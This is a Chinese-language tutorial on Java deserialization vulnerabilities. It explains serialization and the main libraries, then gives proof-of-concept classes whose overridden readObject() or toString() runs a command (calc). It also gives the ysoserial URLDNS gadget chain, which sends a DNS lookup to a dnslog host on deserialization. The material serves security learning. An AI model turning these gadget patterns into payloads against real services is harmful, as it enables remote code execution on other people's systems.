序列化:将内存中的对象压缩成字节流
反序列化:将字节流转化成内存中的对象
序列化与反序列化的设计就是用来传输数据的。
当两个进程进行通信的时候,可以通过序列化反序列化来进行传输。
能够实现数据的持久化,通过序列化可以把数据永久的保存在硬盘上,也可以理解为通过序列化将数据保存在文件中。
应用场景
(1) 想把内存中的对象保存到一个文件中或者是数据库当中。
(2) 用套接字在网络上传输对象。
(3) 通过RMI传输对象的时候。
JAVA内置的writeObject()/readObject()
JAVA内置的XMLDecoder()/XMLEncoder
第三方:
XStream
SnakeYaml
FastJson
Jackson
内置原生写法分析
重写readObject方法
输出调用toString方法
(1) 入口类的readObject直接调用危险方法
最好理解,实际中很少有。重写了readObject()方法,实战中很少这样搞。
(2) 入口参数中包含可控类,该类有危险方法,readObject时调用
(3) 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用
(4) 构造函数/静态代码块等类加载时隐式执行
需要进行Serializable序列化的类需要实现Serializable接口,才可被序列化。
public static void serializeTest(Object obj) throws Exception {
// 将传入的obj序列化并写入到ser.txt 中
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.txt"));
oos.writeObject(obj);
}
public static Object unserializeTest(String fileName) throws Exception {
// 将传入的文件路径对应的文件反序列化成Object对象并返回
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName));
return ois.readObject();
}
重写
readObject()
方法,触发toString()
方法
重写readObject()
方法,进行反序列化时就会执行序列化对象里的readObject方法,而不会执行原本的readObject方法。
public class User implements Serializable {
private String name;
private String gender;
private Integer age;
// ......
/**
* 重写了readObject方法,进行反序列化时就会执行序列化对象里的readObject方法,而不会执行原本的readObject方法。
* @param ois
* @throws IOException
* @throws ClassNotFoundException
*/
private void readObject (ObjectInputStream ois) throws IOException, ClassNotFoundException {
// 指向正确的readObject
ois.defaultReadObject();
// 弹出calc
Runtime.getRuntime().exec("calc");
}
}
toString()
方法将命令执行代码放在toString()
方法中,反序列化后输出触发了toString()
方法造成命令执行。
public class User implements Serializable {
private String name;
private String gender;
private Integer age;
// ......
@Override
public String toString() {
// 触发方法
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
return "User{" +
"name='" + name + '\'' +
", gender='" + gender + '\'' +
", age=" + age +
'}';
}
}
参考:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java
于HashMap
中存储URL对象,在对HashMap
对象进行序列化和反序列化时,由于HashMap
本身也有readObject()
方法,所以会调用HashMap自身的readObject()
方法,造成调用链,最终执行了DNS解析。
public class URLDns {
public static void main(String[] args) throws Exception {
/*
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
*
若使用其他第三方库进行序列化反序列化,则失效。
*/
HashMap<URL, Integer> hashMap = new HashMap<>();
URL url = new URL("http://6dpbfm.dnslog.cn");
hashMap.put(url, 1);
serializableTest(hashMap);
unserializableTest("hash.txt");
}
// 反序列化方法
public static Object unserializableTest(String fileName) throws Exception {
// 反序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName));
return ois.readObject();
}
// 序列化方法
public static void serializableTest(Object obj) throws Exception {
// 将传入的obj序列化到hash.txt 中
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("hash.txt"));
oos.writeObject(obj);
}
}